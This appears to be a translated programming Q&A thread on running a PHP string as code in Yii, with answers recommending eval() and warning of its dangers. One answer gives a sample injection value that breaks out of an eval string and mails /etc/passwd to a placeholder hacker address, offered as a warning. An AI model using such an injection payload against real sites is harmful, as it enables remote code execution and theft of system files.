将字符串转换为php动作/功能

时间:2013-08-20 07:23:07

标签: php yii

我正在使用Yii框架。 我想把php字符串变成php动作。

$var = 'echo "hello";';
//Something to do to run $var

我想打印$ var我该怎么做? 在Yii框架上有一个简单的解析php来自string选项吗?

3 个答案:

答案 0 :(得分:2)

可以使用eval()功能。但是,在许多情况下, eval是邪恶的,通常这种编码方式使得代码更难以遵循和调试。请注意来自用户的潜在不安全输入,因为,例如,如果你做

eval('echo "$var"')

和$ var直接从$ _POST设置,可以设置 $var='lol"; mail("hacker@somewhere.com", "Some passwords", "/bin/cat /etc/passwd");'(已提供,该Web服务器位于用户之下,可以访问此类功能和目录;即使不是,它也提供了大量利用此类漏洞的机会)。所以,通常 eval是个坏主意,但有时它是唯一的解决方案。无论如何,要非常小心。

答案 1 :(得分:0)

eval - 将字符串评估为PHP代码

将给定代码评估为PHP。

  

<强>注意   eval()语言构造非常危险,因为它允许执行任意PHP代码。 因此不鼓励使用。如果您已经仔细验证除了使用此构造之外没有其他选择,请特别注意不要将任何用户提供的数据传递到其中,而不事先正确验证它。

http://php.net/manual/en/function.eval.php

答案 2 :(得分:0)

$this->evaluateExpression($var);